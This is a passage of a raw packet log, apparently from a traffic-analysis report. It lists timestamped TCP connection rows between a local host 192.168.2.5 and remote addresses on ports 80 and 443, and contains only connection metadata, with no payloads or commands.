Oct 29, 2024 20:35:20.841459990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841470003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841470957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841470957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841475964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841481924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841494083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841504097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841511011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841515064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841526031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841543913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841548920 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841548920 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841557026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841567993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841578960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841609955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841619968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841619968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841619968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841640949 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.841650963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841665030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.841711044 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842289925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842302084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842313051 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842336893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842341900 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842354059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842365980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842379093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842392921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842406988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842411995 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842412949 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842420101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842432022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842443943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842451096 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842474937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842480898 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842480898 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842487097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842499018 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842511892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842525959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842530966 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842540979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842542887 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842554092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842566013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842577934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842583895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842590094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842600107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842611074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842612028 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842612028 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842629910 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842662096 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842782974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842802048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842813969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842864990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842864990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842866898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842878103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842890978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842902899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842915058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842925072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842936993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.842947006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842947006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.842955112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843000889 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843529940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843544006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843573093 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843583107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843592882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843606949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843637943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843651056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843662977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843673944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843684912 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843696117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843707085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843719006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843729973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843741894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843763113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843776941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843805075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843816042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843825102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843837023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843848944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843863964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843888044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843905926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843910933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843910933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843910933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843910933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843910933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843910933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843910933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843916893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843929052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843938112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843938112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843938112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843938112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843938112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843938112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843939066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843939066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843940973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843950033 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843952894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843978882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.843990088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.843998909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844003916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844012022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844036102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844047070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844058037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844063997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844063997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844069958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844080925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844093084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844094992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844125032 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844216108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844543934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844558954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844571114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844631910 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844713926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844729900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844744921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844755888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844768047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844770908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844778061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844795942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844810963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844822884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844834089 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844841957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844856024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844861984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844882011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844892979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844902992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844906092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844906092 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844935894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844949007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844961882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844971895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844971895 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844973087 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.844974041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844985008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.844997883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845009089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845010042 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845021963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845036030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845041990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845041990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845048904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845061064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845072985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845084906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845098019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845104933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845104933 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845108986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845123053 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845181942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845181942 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845825911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845849991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845861912 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845875978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845886946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845916986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845918894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845918894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845918894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845927954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845938921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845949888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845961094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.845961094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.845972061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846002102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846007109 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.846007109 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.846036911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846049070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846061945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846066952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.846076965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846091986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846095085 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.846105099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846120119 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846132994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846143007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.846163034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.846163988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.846163988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.846220970 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847028971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847040892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847052097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847064018 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847076893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847090006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847104073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847129107 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847129107 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847134113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847146988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847157955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847170115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847179890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847179890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847179890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847181082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847193956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847204924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847208023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847215891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847227097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847238064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847251892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847279072 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847279072 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847279072 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847279072 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847327948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847330093 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847338915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847351074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847361088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847373009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847384930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847404957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847404957 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847408056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847419024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847431898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847445965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847456932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847467899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847467899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847467899 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847480059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847491980 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847491980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847507000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847518921 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847522020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.847529888 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847590923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.847590923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.930555105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.935924053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.983336926 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.984023094 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.984050989 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.984532118 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.984541893 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.062140942 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.062169075 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.062176943 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.062200069 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.062213898 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.062222958 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.062238932 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.062309027 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.062345982 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.062367916 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.064183950 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.064198017 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.064224005 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.064238071 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.064251900 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.064270020 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.064305067 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.064327955 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.082724094 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.083333969 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.083350897 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.083887100 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.083899975 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.096744061 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.097345114 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.097364902 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.097878933 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.097883940 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.132742882 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.132813931 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.133281946 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.133493900 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.133512974 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.140003920 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.140044928 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.140286922 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.142333031 CET	49915	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:21.142353058 CET	443	49915	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:21.182007074 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.182023048 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.182040930 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.182049036 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.182073116 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.182089090 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.182126045 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.182210922 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.183051109 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.183059931 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.183084965 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.183095932 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.183118105 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.183130980 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.183142900 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:21.184207916 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.184242964 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.184256077 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:21.184282064 CET	49903	443	192.168.2.5	13.107.246.57
